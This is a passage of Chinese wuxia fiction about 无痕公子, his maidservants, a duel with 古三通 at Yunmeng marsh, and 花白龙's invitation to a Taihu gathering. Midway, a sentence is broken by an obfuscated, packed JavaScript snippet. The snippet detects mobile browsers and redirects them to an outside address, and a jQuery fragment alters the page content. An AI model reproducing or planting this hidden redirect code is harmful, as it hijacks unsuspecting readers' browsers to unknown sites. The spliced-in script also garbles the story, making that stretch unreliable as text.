护卫队长认得眼前之人正是无痕公子四名贴身侍女之一,年岁似乎比其他三人稍长一些,她神色冷然,听完护卫禀报之后,面不改色,淡淡地挥了挥手。 “知道了,回去吧!” 护卫队长看着对方冷淡的态度,不禁心中着急,继续追问。 “事发突然,烦请尽快通报公子!下一步该如何做,还请明示!” “都说知道了!”梅琴不耐烦地加重语气,“你先将所有战力点齐,谷口集结,过一会儿我会前去调兵布防。” 见护卫队长仍是神色犹疑,梅琴继续说道: “一切皆如公子所料,今日应该就会有所了结。” 梅琴此话说得斩钉截铁,眼神却有几分黯然。 遣走侍卫,梅琴转身进入营帐,无痕公子端坐帐中,其余三名侍女随侍在侧。 “公子……” “我意已决,接下来大家一切听梅琴安排。” 言至此处,无痕公子稍稍停顿,对着三名侍女温和一笑,取出一方木盒打开。只见盒中分别罗列着一方幽兰丝帕、一支玉竹毛笔和一枚鎏银镶黄玉指环。 “你们都是自幼跟随我,可怜大好年华,却陪着我枯守荒谷多载,我实在对你们不住!” “公子千万不要这样说!” 兰心急忙出声劝阻,她回望身边的竹剑和菊意。菊意年纪最小,早已眼含泪花,就连性情刚毅的竹剑也红了眼圈,兰心不禁哽咽道: “我们姐妹自幼丧母,险些沦落风尘,当年全靠公子相救。这些年来在常晴谷,有公子教导,有姐妹爱护陪伴,已是十世修来的福分。我们就算肝脑涂地,也难报公子……” 无 痕公子抬手打断兰心,感怀道: “因缘际会,自有定数。缘至而聚,缘尽而散。我身背孽债,合该孤独终老,好在有你们陪伴,解我苦闷。如今临别在即,别无他物,只能送你们一些小玩意儿,以作报答。兰心,你好琴画诗文,我赠你一方丝帕,其上幽兰是我亲手描绘,希望你不会嫌弃;竹剑最善书道剑法,我赠你毫锥一支,望你今后境界更有进益;菊意年纪最小,但茶道和医术却是魁首,我多年炼药,偶得晶石一枚,镶在指环上,你随身携带,日后行走江湖,可免毒物侵扰。” 三人分别从无痕公子手中接过礼物。三件礼物外表普通,但三人都知道,春梦了无痕送出的礼物怎会寻常。只见兰心手捧丝帕,只觉得丝帕轻如鸿毛,绢面所绘幽兰灵动雅致,还隐隐透着药香;竹剑手中玉管成色温润,但手握方才明白,其间竹节分明,毫麾之间柔中带刚,正和她寓剑于书的功法;菊意的指环精巧,衬得她的玉指纤细,宝石冰凉,却无刺骨之感。这三件礼物虽是常见器物,但做工精巧,更为难得契合每个人的喜好所长,可见其间包含情义。 三件礼物送出,无痕公子转向梅琴,从袖管中拿出一方更加小巧的木盒,打开一看,只见一对精巧的梅花玉簪。 “多年前,我在北疆初遇你时,正巧得了一对梅花玉石,如今雕刻成器,再送回给你,也算是缘分,希望不要嫌弃!” “公子为何要这样说,梅琴怎会……” 梅琴连忙双手接住木盒,却听见温柔一声。 “这些年来,多谢你们的照顾!” 短短一句话,却饱含百感,一瞬间,梅琴再也无法控制眼中泪水,重重跪倒在地,其余三人亦紧随效法。 “这些年来……多谢公子教养之恩!” 多年缘分,终须一别。纵然万般不舍,可梅兰竹菊四人明白,这不是被命运裹挟的无奈,而是春梦了无痕的抉择。 梅兰竹菊离去之后,无痕公子长叹一声,回首望向帐中一侧屏风,烛火摇曳,映出一道窈窕妇人身影。无痕公子绕过屏风,柳生飘絮正端坐于长案之前,而在不远处还有一方矮榻,榻上正是沉睡的海棠。 原来,确如梅琴所言,一切皆在无痕意料之中,昨日梅琴对一刀言语嘲讽,是为了激怒一刀,引他离开。一刀、天涯、成是非前脚刚走,无痕公子随即让梅兰竹菊将海棠抱到自己帐中,又请来飘絮。 榻前烛火明亮,映照海棠安静的睡颜,仿佛她此刻正沉浸于美梦之中。然而,无痕公子最是清楚,接下来海棠所要经受的病痛与凶险。 “对不起!” 一声低语,将无痕公子唤回神来,回眸一看,只见飘絮神色端正地望向他。 “段夫人当时是奉命行事,说到底天意弄人……” “可无论如何辩解,当时对海棠下杀手的确实是我!也是因我才导致……” “海棠今日之难,是南教谋划陷害,与你何干?江湖儿女,恩怨分明,这个道理我懂,海棠也会懂的。” “纵然如此,我的双手也已沾染鲜血。”飘絮苦笑一声,“我原本也是这样安慰自己,我是被逼无奈,一切与我无关,直到……” 言至此处,飘絮又想起那一晚天涯面对一刀的重重一跪,她更加回忆起在一年之前,她刺杀海棠之后,终日惶恐不安,却不断自我安慰,只要她还是天涯的妻子、还是郎儿的母亲,以天涯之重情,定会原谅她,两个人的性命总能胜过一个人。但是最终,这只是飘絮的妄想,她忽略了一件事,天涯是重情之人,夫妻之情是情,兄妹之情亦是情,当她将这两者放在天平上逼迫天涯选择之时,已然伤透了他的心。 “天涯哥哥说得对,这份罪孽既已犯下,逃避无用,只能背负偿还。虽然现下海棠听不见,但公子是海棠的师父,那么请容许我再说一次……” 说着,飘絮起身整理发髻衣裙,面对无痕公子“扑通”一跪,头颅重重叩下。 “我对海棠所做之事,万分抱歉!” 面对飘絮这重重一拜,无痕公子本是脸色凝重,最终却释然一笑,他抬手扶起飘絮,叹道: “也罢,话已然说开,这样更好!段夫人深明大义,在下佩服!” “只是言语致歉,远不足补偿什么?接下来,我该如何做?还请公子明示!” “段夫人此言何意?” 眼见无痕公子神色惊讶,飘絮笑问道: “难道公子今日请我来此,不是为了解救海棠吗?” 原本心中犹豫、不知如何开口的难题,被飘絮一语点破,无痕公子惊得一时说不出话来。纠结许久,最终释然,却还是问道: “段夫人何以如此确定?” “我虽愚笨,但人情世故还是懂一些。都说无痕公子品性高古,犹如谪仙下凡,可要我说,人终归是人,终归有情。就算公子济世为怀,也不可能放任自己的徒儿不管,先救我这个仇人。唯一的解释是,对于当时的海棠寻常医治之法已晚,唯一能够逆转局面的关键是我。公子非要等到天涯哥哥、一刀和成是非出谷之后,再行施救,想来此法亦是凶险。” “段夫人明知如此,今日还是应邀前来吗?” “我已经说了,既然逃不掉,不如大方面对!公子乃前辈高人,应该比我更懂这个道理。” 飘絮此话,似乎另有所指,无痕公子也听出来,苦笑道: “是啊!若我能早些明白这道理,也不至于……” 无痕公子欲言又止,却见飘絮眼神温和,并无催促他说下去的意思。 “段夫人想必已从云萝郡主那里探听了一些消息,加上那一晚天羽所说的话,难道你不好奇,眼下所发生的一切究竟起于何种缘由吗?” “我还是那句话,人终归是人,有情,更有难处,公子不愿说,我也明白。” “之前,我总是推搪说时机未到,可如今……”说着,无痕公子又看了一眼睡颜沉静的海棠,“我求段夫人舍身救我徒儿,我若还有隐瞒,实在于理不合。所幸眼下还有些时间,段夫人若不嫌我絮叨,我愿将一切原委和盘托出!” 说罢,无痕公子又是一笑,这一笑带着三分疲惫,七分解脱。烛火清楚映照着无痕公子鬓边的银丝和眼角的细纹,这让飘絮更加确认,此刻在她眼前的,不是江湖吹捧、奉为天人的春梦了无痕,而是真真正正、有血有肉的凡人李世晴。 21. 云梦访故友 太湖起风波 且将时间回溯得久远一些。 明成化十四年,浙江三府数月暴雨,江河泛滥成灾,官员治水不力,君主庸碌无为,只能期寄巫蛊,却不知是上苍怜悯,亦或歪打正着,这头紫禁城中一番焚香祭天、巫颂神祷之后,江南风雨渐消,水灾渐平。与此同时,嘉兴府中一位李姓举人之家,一名男婴悄然出世,其父有感于如此时节,故为其命名“世晴”。 值此天赐之际降生婴孩,照理当是福泽深厚,然而,似乎应了“福兮祸所至,祸兮福所倚”之言,这位李姓公子有三位兄长,皆是身强体健,唯独李四公子自幼体弱,医石无用,相士占卜,道是先天阳气不足,不可沾染地之寒气,虽生得双脚,却不敢过多行走。先天不足已是不幸,但好在生在富贵之家,衣食无忧,可惜李姓家主是刚□□躁之人,见不得男子病弱,故而对这位四公子从未有过好脸色。因而李四公子自小养于深宅之中,不得外出,唯有一位乳母体贴照顾。可不幸的是,李四公子五岁那年,乳母重病身亡,独留孤儿在世,悲痛恍惚之际,李四公子在一个雨夜走出那栋受困多年的宅院,从此了杳无音信。 一晃眼,已是二十年后。 时近七月,云梦泽上,暑气正盛。古诗云“八月湖水平,涵虚混太清”。虽未至时节,但已湖水高涨,茫茫水天之间,只见一叶扁舟飘零。 古书记载,云梦古泽,源于江汉,九曲荆江穿流而过,水量丰沛,滋养一方,故有“江陵故郢都,东有云梦饶”之说。但另一方面,云梦泽江河纵横,沼泽棋布,水道复杂,暗藏凶险。好比此刻,虽湖面上水平如镜,但执桨的老船夫手掌已沁出一层薄汗。老船夫已在此行船多年,对于各处水文了若指掌,他知道若再往前行,是一处险地,乱流汇聚,暗礁环伺,迷雾笼罩,诡秘难测。 再看船首,两名年轻男子并肩而立,其中一人身着玉红金丝袍,黑发束之鎏银祥云冠,虽衣着华贵,但本人身资挺拔潇洒,举手投足颇有几分江湖侠气,只是面相严肃,略显老气,更衬得成熟稳重;至于另一人,虽是身着白衣,却无半分文雅之气,反而活泼好动,好好梳起发髻非要分开来,变成两绺长长的马尾辫,活像一个长不大的顽童。 眼看迷雾渐近,老船夫放慢船速,抹一把额前细汗,道: “两位公子,前方水路实在复杂,不能再走了,还是回吧!” 两名男子闻言,相视一笑,红衣男子回身走近船夫,摸出一锭银子,交予船夫,温和笑道: “今日有劳船家辛苦,既然前路险阻,也就不为难了,请回吧!” 老船夫听闻,如蒙大赦,笑道: “公子这样想就对了!前方实在诡秘凶险,云梦泽景色优美,好玩儿的去处多了,不必非来……” “好了没有啊?”眼见船夫还在絮叨,白衣男子已不耐烦,“都要到了,还啰嗦什么?还是说你怕了这云梦泽?” 白衣男子言语轻佻,颇有几分挑衅之意,红衣男子面色沉稳,似乎不愿搭理他。却不想忽然转身一踏,人已跃入迷雾之中。 “好你个朱铁胆,敢使诈偷跑!输给你我不叫古三通!” 说罢,白衣男子同样跃入迷雾之中,独留老船夫在茫茫江湖之上。 迷雾之中,二人结伴而行。古三通求胜心切,鼓足一口真气,踏水高飞,白衣蹁跹,如同飞燕凌空,而朱铁胆却不受挑衅,他保存内力,碎步贴水面而行,身姿灵活,如同蛟龙潜游。二人皆是轻功绝佳,却也低估这片湖水。眼下,二人目之所及皆是一片迷蒙,四周水汽浓重,早已沾湿发梢衣袖。古三通意气求胜,虽高飞在前,却也失了方向,又不能停下,只好硬着头皮向前飞。朱铁胆察觉不对,却也知眼下不是斗嘴的时候,只能紧步跟随,同时留意四周可有落脚之处。 可惜没有!除却茫茫水天,只有二人结伴飘零的身影。 正自为难之际,忽闻得一丝琴音,微若落雪,二人却听得真真切切,皆是大喜,立即身形一转,循着琴音而去。 片刻之后,四周迷雾逐渐消散,眼前景致豁然明朗,绿树白沙,莺飞燕舞,再有远方高山流水之音,宛若仙境。 二人落在松软的沙滩之上,长舒一口气,循着琴音继续向前走,寻得一处凉亭。这不过是一方四角小亭,既无雕梁,亦无画栋,隠于杂花修竹之间,浸染烟雨苔青之色,却别然透着一股灵气,究其缘由,许是那亭中之人。只见凉亭之中,公子青衫,低眉抚琴,一名女童随侍在侧,玉指弹拨之间,本是仙乐萦绕,却似乎因为两名不速之客到来,生出一丝杂音,最终戛然而止。 朱铁胆精通音律,听出琴声之中不悦之意,拱手致歉。 “冒昧打搅,扰公子雅兴,万望海涵!久闻公子雅誉,特来拜……” “你唠唠叨叨说够了没有?好久不见,无痕公子!” 相比于朱铁胆的彬彬有礼,古三通言行随性,他双拳一抱,朗声问候,虽是洒脱坦然,可亭中公子已面露愠色。 “频来无忌,我却不记得有两位入幕之宾!” “什么忌?什么宾?他说什么呢?”古三通转头询问朱无视。 “呃……这是一个典故,意思是怪我们不请自来。”朱铁胆连忙再度俯身作揖,“是我等唐突……” “哎呀!别这么虚伪啦!”古三通一挥手打断朱铁胆,上前一步,坦然道,“不请自来是不太好,但是有恩不报就更不对!公子慷慨赠我四句谜语,找到天池怪侠的武功秘籍,虽然当初你不肯收我为徒,但恩情我还是记着的,如果不当面说声谢谢,那我这辈子都别想睡个好觉啦!” “等等!”古三通说得滔滔不绝,一旁的朱铁胆却听出几分端倪,“你说什么谜语相赠……难道是这个公子?” “当初引导我们找到天池怪侠武功秘籍的四句谜语,‘天上的水,水里的火,火里的冰,冰里的武功’,就是这位眼前这位李公子告诉我的,我们今天就是来谢他,不然你以为这四句谜语是天上掉下来的?我不是已经和你说过了吗?” “你几时说过?出发之前,你只说是拜访一位武林高人,却从未说过是赠你谜语的人,更未告诉我其中缘由。” “好——那我就从头到尾和你说一遍。十年前,我离开家乡,是想拜师学武,却总也找不到好的。就这么在江湖上浪游了一年,后来听说有位玄机老人,不但武功高强,而且博学广闻,著有秘笈《百兵谱》,详记武林各派绝学。我就去找,没想到人找不着,坐船过巫峡却遇上了客船触礁,危难之际,同船的一位公子看似文弱,却凭一己轻功救下了同船十八人,更是以玉树临风之资把船上的姑娘们迷得神魂颠倒,直称他为‘春梦了无痕公子’!” 言至此处,古三通笑嘻嘻地看向凉亭,眼见无痕公子面露尴尬,却还是继续说道: “那些小姑娘只记得无痕公子英俊潇洒,而我却一眼看出这人定是一位武林高手!从那以后我就一直追着他,一直追到云梦泽,我向他挑战,他却说我一定打不过他;我要拜他为师,他又死活不肯收我,最后送我四句谜语,让我解谜,依线索寻找百年前鼎鼎大名的天池怪侠武功秘笈。” “他说你就信吗?”无痕公子开口道,“你就没想过是那位公子厌烦你,随口编了四句谜语打发你走?若你苦苦追寻不得,岂不白费一生时光?” “如果真是厌烦,何必琴声引路?由得我俩内力耗尽,沉尸湖底不就完了?” 古三通一针见血,点出无痕公子的弱点,眼看无痕公子哑口无言,古三通继续得意道: “而且我也不管那么多!我是武痴,只要能够学武,无论什么都能舍弃。能找到武功秘笈自然是好,若找不到,下辈子投胎我还缠着公子!” 听此无赖之言,无痕公子真是哭笑不得,只好说道: “那公子将谜语赠你一人,为何如今又多了一位?天池怪侠乃绝世高手,难道你舍得将他的武功秘笈与旁人分享?” “为什么不能分享?不瞒你说,这是我的结拜兄弟朱铁胆,是他解开了第三句‘火里的冰’,没有他,我恐怕还真是一辈子找不到秘笈!” “哦!”闻至此处,无痕饶有兴致地打量朱铁胆,“你能解开‘火里的冰’?” “班门弄斧,凑巧而已。”朱铁胆谦和一笑,随即双手抱拳,深深一躬,“多谢无痕公子赠言,让我得以练就绝世武功!” “大恩大德,多谢啦!”古三通亦同样抱拳作揖。 “罢了!”无痕公子抬手回绝二人致谢,“武功非我所创,秘笈非我所写,能够找到乃是你们的机缘,不必谢我!” “反正你的恩情我是谢了!现在该了结九年前的约定了吧!” “什么约定?”朱铁胆好奇问道。 “九年前,我向无痕公子挑战,他说我一定打不过他,就让我去找天池怪侠的武功秘笈。如今秘笈我找到了,武功也练得小有所成,现在无痕公子可以和我比试一场了吧?” “金刚不坏神功乃天下第一武功,既然你神功有成,我定不是对手,此局就算是我输了,不必费神!” “没有比试怎么能认输?我可是远道而来,公子就这么不赏脸吗?” “时近七月,不宜杀伐。两位还是请回吧!” “哎呀!堂堂男子汉怎么婆婆妈妈的?我们是比武,又不是拼生死,还要挑日子吗?看招!” 话音未落,古三通已双手握拳,飞身直逼凉亭。可无痕公子更快,只见他足尖一点,身形一纵,如鸿鸟展翅,跃出凉亭。 无痕公子身姿轻盈,长衫飘飘,显然轻功更胜一筹,但古三通不甘示弱,一口真气汇聚丹田,通至百脉,顿时犹如脚下生风,大步追去,右拳直冲。无痕公子面不改色,待拳风将至,手中折扇一晃,忽地搭上古三通手臂,使出一招“化”字诀。古三通被绝妙柔劲一带,不由得身形一晃,无痕公子趁机折扇一张,化作五行剑,向古三通肩头削去。古三通见状,肩头一沉,左肘顺势横撞无痕公子胁下,岂知这早在无痕公子预料,只见他折扇一收,化为点穴撅,扇柄疾点古三通肘弯“曲池穴”。 无痕公子这一变招出乎意料,可古三通亦是了得,忽地左侧小臂一抬,避开要穴,直撞扇柄。古三通八年来修练天池怪侠武功秘笈,内功已臻大成,他见无痕公子招式精妙,心知无法闪避,索性以攻为守。果然,古三通小臂灌注内力,与扇柄一撞,虽震得他左臂酸痛,可无痕公子亦是虎口发麻,折扇脱手飞去。 无痕公子心中一惊,本能纵身一跃,欲接下折扇,忽道不妙,待回过神来,眼前掌影纷飞,耳边拳风呼啸,周身被罩在古三通攻势之下。 一番交手,古三通见无痕公子轻功绝顶,招数精奇,斗志愈盛,掌似疾风,拳势如虎,连连抢攻。反观无痕公子,在古三通惊涛骇浪般的掌影拳风之下,身如一叶扁舟,左闪右避,但面色依旧从容。 古三通知无痕公子未尽全力,不由恼怒,左掌扬空劈下,迫得无痕公子向右闪躲,他则趁机右拳直冲腰胁。古三通两侧夹击,势在必得,却忽见无痕公子眼神一凛,折扇一张,往古三通手背拍下。无痕公子又复前法,欲以柔劲消解拳势。可古三通岂会重蹈覆辙,电光火石之间,他手腕一翻,反手一记擒拿,无痕公子急忙收招,稍晚一步,折扇已被擒住。无痕公子运力外夺,古三通亦内力相抗,一声裂帛,可惜那柄上好的湘妃竹扇已被撕得粉碎。 二人皆是内功绝顶,无痕公子被震得连退三步,身形方稳,又见古三通并指如剑,使出一招“长虹贯日”刺来。古三通乘势追击,却见无痕公子身形不动,定在原地。 古三通剑势如虹,千钧一发之际抵住无痕公子咽喉。可面对如此险境,无痕公子面色如常,眼中毫无波澜,这让古三通更加不快。 “喂!你认真一点行……” 话未说完,古三通忽感异样,低头一看,这才发觉左胸心口处多了一枚银针。 这枚银针细如毛发,却能穿过三四层衣裳,恰好停在距离心脏毫寸之间,可见使针之人功力精熟。最关键的是,古三通竟不知这枚银针是何时扎上。 “听说玄机老人当年出入江湖,便是凭着一手绝妙的暗器功夫叱咤风云,今日得见高足,看来是青出于蓝!” “暗器伤人,难登大雅之堂,是我……” “哎呀!”无痕公子谦逊退让,却被古三通挥手打断,“什么暗器明器,在我古三通看来,能打赢的就是好武功!” “古兄见笑!若你刚才使出金刚不坏神功,我早已败北,这一枚小小银针又能奈何?” “这一战,你我二人都没有使出全力,就当是平手吧!我也不会对外宣扬。” 痴迷武学,却不执着胜负,更不拘泥于“武林高手”之虚名。十年前,巫峡初见,无痕公子看出古三通天赋异禀,更欣赏他的赤子之心,这才想出四句谜语,引导他寻找天池怪侠武功。 “古兄实乃天纵奇才,短短数年竟有如此进境。方才对战,你的内力已远胜于我,而且能够使出当今武林各派招式。方才你以武当梯云纵追击,又使少林罗汉拳与须弥掌逼我出招,至于最后的擒拿手与指剑,则源自峨眉截手九式和华山派剑法,对吗?” “真不愧是玄机老人的徒弟,这你都能看出来!” 无痕公子丝毫不理会古三通夸赞,反而严肃道: “只不过,你的招式虽杂,却不算精熟,破绽甚多,想来只是临阵学技。而且武林名门,收徒甚严,你总不可能在几年之内接连拜入多派吧?” “你到底想问什么?” “听闻近半年来,江湖上出现一位不败顽童,四处挑战名门高手,已经连败武当三英、峨眉四秀,又破了少林十八罗汉阵,此人就是你吧?” “正是!” 古三通骄傲地昂起头,神情活像一个得胜之后、等待夸赞的孩子。可无痕公子反而皱眉叹道: “我知道你只是痴迷武学,想与高手切磋,可你打败的这些人,皆出自名门,难免惹祸上身。更何况你并非出身武林世家,为何能在短时间内接连寻得众多高手?敢问古兄一句,这其中是否有人指点?” 无痕公子的问题出乎古三通意料,他正思考着该如何回答,忽闻远方传来一阵豪迈笑声。众人循声望去,只见浓雾彼端,两道人影踏水而来,转眼间已落在沙滩上。 来人是一对男女,为首男子皮肤黝黑,相貌威武,体格健硕,犹如一座岩山。他身后跟着一位红衣少女,金簪挽发,轻纱遮面,凤眼微翘,神光逼人。 男子朗声大笑,笑声震得众人耳鼓嗡嗡,可见其内力惊世骇俗。 “公子神算,已然觉察古少侠背后有人指点。” 男子此话无疑自认是他在背后怂恿古三通挑战各派高手,只见他神情坦然,对着古三通抱拳笑道: “古少侠,别来无恙!” “你是……” 原本在一旁沉默的朱铁胆最先反应过来。朱铁胆看着这位不速之客,想起在半年前,在江陵客栈与他有过一面之缘,可那时仅是擦肩而过,并未上心,朱铁胆想不明白古三通是如何与他扯上关系。 男子见朱铁胆神色疑惑,不屑笑道: “这位想必是古少侠口中所提的好友朱铁胆!朱少侠不必如此疑惑,我与古少侠在江陵初识,不过那时朱少侠忙着陪伴美人,自然不会注意我。” 此话一出,朱铁胆瞬间面色一沉。其实,这名男子说得不错。这一年来,古三通四处寻找武林高手挑战,冷落素心,反之,朱铁胆对素心则是悉心陪伴。在江陵时,朱铁胆察觉素心情绪低落,主动带她出游散心,把古三通一个人晾在客栈,或许正是那时…… “好了!别扯这些有的没的!” 尴尬之时,还是古三通出面解围,他从怀中掏出一张黄纸,弹指甩给男子。 “不过,还是多谢你的指点!” 说着,古三通又面向无痕公子,解释道: “你说得不错,是这个人给我列出八大派高手名单和踪迹,我才能接连找到这么多高手挑战。” “举手之劳,何足言谢?” 男子坦然笑答,他察觉到无痕公子锐利的目光,亦不回避,反而直视道: “公子可是心中有何疑问?” “天下熙熙皆为利来。”无痕公子神情严肃,目光直逼男子,“我只是好奇,非亲非故,阁下如此推波助澜,究竟是何目的?” “怎么能算是非亲非故呢?先祖有约,古少侠既然继承了天池怪侠的绝学,那么按照汉人的说法,我与古少侠就算是世交。” “此话何意?” “公子如此聪慧,又是玄机老人的传世弟子,一定明白!” 说着,男子又转向古三通,扬了扬手中的纸条。 “古少侠觉得如何?这名单上的人皆是八大门派之中数一数二的高手,你打败他们,很快不败顽童之名就要传遍武林。” “虚名什么的我才不在乎,你帮我找到高手,我已经谢过,接下来,就要把话说清楚。” 古三通竟一改顽童之态,神情严肃地看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292485|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子。 “一码归一码,我古三通是武痴,不是任人摆布的白痴!挑战武林高手是我自己的事情,阁下若是另有企图,想借我的手去害人,还是另做打算吧!” “此话怎讲?” “我说的不对吗?你我上次一别是在江陵,如今再见难道是巧合?这里是无痕公子的隐居之所,你又是如何找来?你给我的这张黄纸,乍一看不起眼,可仔细辨别却有一股隐隐的气味,想来做了手脚。” “古少侠多想了,这纸所用木浆采自滇南独有乌樟树,气味虽淡,却能驱赶百虫,唯有一种樟叶蜂喜爱此气味,正好我手上有几只。我素来仰慕中原武林豪杰,古少侠既是天池怪侠传人,又要挑战当今高手,那定是精彩难逢的对决,我岂有错过之理?” “如此便是了,你给我名单,让我挑战武林高手,自己却隔岸观火,若说这其中没有企图,谁信啊!” 古三通言语直率,一针见血,可那男子并未着急辩解,反倒是他身后的少女站出来打抱不平。 “啰啰嗦嗦说这么多,你们汉人真是麻烦!” 只见那女子上前一步,挥舞长鞭作裂空之势,面纱遮掩下的一对凤眼已显露愠色。 “我哥哥好心指点你,你不领情就罢了,还反过来质问他!有目的又怎样?害你了吗?让你挑战高手,是帮你积攒名声。哥哥好歹是一教之主,难道将来要和你这无名小辈决斗吗?” “什么意思?你到底是……” 众人目光再度集中于那男子,男子也无意掩饰,坦然道: “在下南教第三任教主,花白龙!这是……” 未等花白龙说完,他身边的女子便抢过话头,骄傲道: “南教圣女,花白凤!” “南教?” 古三通完全不理会花白凤溢于言表的骄傲,反而一脸疑惑地望向朱铁胆。 “南教是个什么教?” “呃……”朱铁胆有些顾虑,贴近古三通耳边小声说道,“就是武林中人偶尔提起的魔教,他们偏居滇南,又是苗人帮派……” 朱铁胆极力压低声音,可在场之人皆是内力深厚,终究还是传入他们的耳中。 “哼!” 花白凤又一甩鞭子,直冲朱、古二人而去,所幸二人反应迅速,及时躲过。 “魔教魔教,叫得人烦死了!”花白凤怒道,“都说汉人谦和有礼,不过是骗人的!我们是苗人帮派又如何?我们既无杀人放火,也未作恶多端,你们中原武林却一口一个魔教地辱骂排挤我们,说是名门正派,我看就是仗势欺人!” 众人被花白凤的一顿怒骂弄糊涂了。朱铁胆最先反应过来,连忙抱拳一礼: “呃……是在下失言,往姑娘念我等见识浅薄,多多包涵!” 朱铁胆言辞诚恳,花白凤却不领情,又看向古三通。古三通也算机灵,老老实实学着朱铁胆的样子,抱拳致歉: “是我说错话,我向姑娘道歉!不过……” 可最终,古三通还是正经不过一瞬间。 “话说前头,我古三通向来讨厌门户之见,什么教的不重要,只要能打赢我,让我叫你王母娘娘都成!” “你这么说就是在看不起我了!” 被古三通这么一说,花白凤瞬时燃起斗志,她回头看了一眼花白龙,只见花白龙神色淡然,想来是默许了。 “好!反正你是天池怪侠的传人,与我们南教终有一战,今天,我就当是替哥哥试试你的深浅。” 话音刚落,花白凤右手一扬,长鞭如蛇,向古三通脖颈卷去,同时足尖一点,身如利箭,左手五指朝古三通心口抓去。长鞭先发,利爪紧随,几乎同时而至。但古三通反应灵敏,先是使出一记“铁板桥”身法躲过长鞭,旋即一招“鹞子翻身”闪避利爪,两招亦是同时发出,转眼间已跃出战圈。 古三通头也不回,双臂一振,如雄鹰高飞,花白凤紧追不放,足尖一点,似飞燕穿空,转瞬落在丈高凉亭之上。石亭飞檐,二人各占一角,单足独立,身姿如松,花白凤挥舞长鞭,势如风雷裂空,古三通绕着石亭尖顶,左闪右避,嬉皮笑脸,似是玩闹。花白凤大为着恼,下手越发狠厉,打得青瓦碎裂,纷落如雨。 无痕公子一旁观战,默不作声,倒是他身边的女童看不下去,高声骂道: “你们这些人好生无礼,不请自来也就罢了,还敢损毁公子仙阁!” 花白凤不理女童,可古三通心生歉意,正欲离开。岂料他身形方动,花白凤魅影追至,长鞭抖动,上指双目,下缠腰胁,同时脚踢古三通双腿膝弯。古三通原本看在花白凤是个少女,有意相让,可见她出手毒辣,不免动气。于是,古三通左手一记“拈花指”,以绝妙柔劲擒住长鞭,下身使出“十字摆莲”,反踢花白凤脚踝,右拳一招“黑虎掏心”,直冲腰腹。 这一招“黑虎掏心”出自少林伏虎拳法,拳势雄沉,可古三通到底仍存怜香惜玉之心,只使出三成力。但花白凤毫不领情,冷笑一声,待拳风将至之时,竟舍弃长鞭,右掌空中一划,古三通不知怎的,只觉一股奇异的潜力袭来,恰如暗流汹涌,铁拳竟失了准头,贴着花白凤纤腰而过。 古三通一击不中,身法已乱,花白凤乘胜追击,红袖招展,恰似火云罩下,双手拳掌指爪百般变化,遍袭古三通周身要害。古三通是武痴脾性,见花白凤狠招连环,凝练精妙,变幻莫测,不禁赞叹,一时愣神,花白凤掌风已至。古三通临危应变,身形一扭,掌风擦胸而过,竟生生撕裂他的胸衣。古三通回势出拳,拳势如虎,花白凤丝毫不惧,使出“千斤坠”身形一稳,横肘一撞,同时并指点他腋下。 地上众人将形势看得一清二楚,无痕公子最先反应,右手一扬,一枚银针呼啸飞去。花白凤本已势在必得,惊觉银针飞来,本能缩手一闪,银针擦过她的鬓角,划开面纱。古三通趁机滑步移位,绕至花白凤身后,双拳疾出。花白凤不甘示弱,脚步一旋,回身掌接铁拳。 可此时忽生变故。二人缠斗于凉亭一角,皆是内力沉厚,凉亭不堪重负,早已摇摇欲倒,再被花白凤脚步一踏,青瓦碎裂,花白凤脚下一空,猝不及防地向后倒去。而此时古三通拳招已出,高手过招,胜负只在一线,更何况伏虎拳法讲究迅疾刚猛,先招未尽,后招又至,如今已然收势不住。 危急之刻,青影翩跹,原来是无痕公子纵身飞去。他轻功绝顶,转瞬已至,一手柔掌化解古三通拳势,另一手往花白凤腰下一揽,将她轻轻托起。恰逢一缕清风起,拂去佳人面上纱,恍惚间,只见得一副美如三月江上花的容颜。 可惜不过转瞬间,这幅花容由惊转怒,由怒变恼,方一落地,她便抬手一掌打去。无痕公子猝不及防,胸口正中一掌,连连后退,一股腥甜涌上喉头。 花白凤仍不解气,正欲再度出手,最终被花白龙喝止。 与此同时,古三通也飞身落地,眼见无痕公子中掌,急忙上前相护,恼道: “冤有头债有主,你有气朝我撒,何必迁怒他人?” “还有脸说?明明是你我对决,他横插一手,死了也活该!” “你……” “算了!”无痕公子一把拉住古三通,歉然道,“暗器偷袭,是我有错在先,望姑娘海涵!不过,姑娘心中明白,刚才的对决是古兄有意相让,姑娘趁机狠下杀手,实在于理不合!况且……” 说着,无痕公子意味深长地望向花白龙。 “姑娘如此性急,显露本门绝学,恐怕非你兄长本意。” 无痕公子一言点醒,花白凤这才意识到自己被愤怒冲昏头脑,失了分寸,回头一看,果然见花白龙面色深沉,眼中带有几分难测之意。 “公子说得对,是小妹不知轻重,我带她致歉,望公子海涵!今日就此作罢,在下改日再与古兄约战。” “等等!”古三通出声打断,“自说自话,我和你很熟吗?为什么要和你打?” “我与古兄今日只是第二次相见,不过我的祖父和天池怪侠却有百年之约,至于其间缘由,古兄不妨问问这位玄机老人的徒弟。我今日前来,是送这个!” 话音未落,花白龙从怀中掏出一封信,挥掌运力送去。 花白龙手掌轻挥,看似平平无奇。古三通伸手一接,却觉一股潜力排山倒海般逼来,迫得他不由后退半步。好不容易稳定身形,低头一看,只见书信封面赫然写着“请柬”二字。 “七月初一,武林各派齐集太湖宿苍山庄,我以南教教主之名,邀请诸位太湖一聚!” 22.同心结金兰 痴武赴旧约 有明一代,江南水患频繁,太湖尤甚。每当丰雨之年,江河泛滥,洪水淹没农田村舍,百姓流离失所,朝廷治水不力,官员贪墨赈灾银两,更是雪上加霜。于是,失去生计的百姓聚集为匪,久而久之,渐成大患。朝廷多次派兵围剿,却因主将昏庸,加之不识太湖水路,皆是铩羽而归。 